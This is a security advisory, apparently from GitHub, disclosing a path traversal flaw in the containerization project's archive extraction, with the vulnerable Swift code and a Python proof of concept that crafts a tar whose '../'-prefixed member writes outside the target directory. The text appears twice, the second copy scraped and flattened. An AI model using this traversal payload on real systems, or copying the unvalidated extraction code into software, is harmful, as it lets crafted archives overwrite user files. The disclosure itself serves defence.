Summary
The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.
Details
The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.
/// Extracts the contents of an archive to the provided directory.
/// Currently only handles regular files and directories present in the archive.
public func extractContents(to directory: URL) throws {
let fm = FileManager.default
var foundEntry = false
for (entry, data) in self {
guard let p = entry.path else { continue }
foundEntry = true
let type = entry.fileType
let target = directory.appending(path: p)
switch type {
case .regular:
try data.write(to: target, options: .atomic)
case .directory:
try fm.createDirectory(at: target, withIntermediateDirectories: true)
case .symbolicLink:
guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {
continue
}
try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)
default:
continue
}
chmod(target.path(), entry.permissions)
if let owner = entry.owner, let group = entry.group {
chown(target.path(), owner, group)
}
}
guard foundEntry else {
throw ArchiveError.failedToExtractArchive("no entries found in archive")
}
}PoC
Sample script make-evil-tar.py:
#! /usr/bin/env python3
import tarfile
import io
import time
tar_path = "evil.tar"
# Content of the file inside the tar
payload = b"pwned\n"
with tarfile.open(tar_path, "w") as tar:
info = tarfile.TarInfo(
name="../../../../../../../../../../../tmp/pwned.txt"
)
info.size = len(payload)
info.mtime = int(time.time())
info.mode = 0o644
tar.addfile(info, io.BytesIO(payload))
print(f"Created {tar_path}")% ./make-evil-tar.py
Created evil.tar
% mv evil.tar /tmp
% cd /tmp
% ls pwned.txt
ls: pwned.txt: No such file or directory
% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar
Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout"
% cat pwned.txt
pwned
Impact
Affects users of cctl image load in the containerization project, and any projects that depend on containerization and use the extractContent() function.
Affects users of container image load in the container project.
These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.
Summary
The
ArchiveReader.extractContents()function used bycctl image loadand container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.Details
The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.
/// Extracts the contents of an archive to the provided directory. /// Currently only handles regular files and directories present in the archive. public func extractContents(to directory: URL) throws { let fm = FileManager.default var foundEntry = false for (entry, data) in self { guard let p = entry.path else { continue } foundEntry = true let type = entry.fileType let target = directory.appending(path: p) switch type { case .regular: try data.write(to: target, options: .atomic) case .directory: try fm.createDirectory(at: target, withIntermediateDirectories: true) case .symbolicLink: guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else { continue } try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL) default: continue } chmod(target.path(), entry.permissions) if let owner = entry.owner, let group = entry.group { chown(target.path(), owner, group) } } guard foundEntry else { throw ArchiveError.failedToExtractArchive("no entries found in archive") } }PoC
Sample script
make-evil-tar.py:Impact
Affects users of
cctl image loadin the containerization project, and any projects that depend on containerization and use theextractContent()function.Affects users of
container image loadin the container project.These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.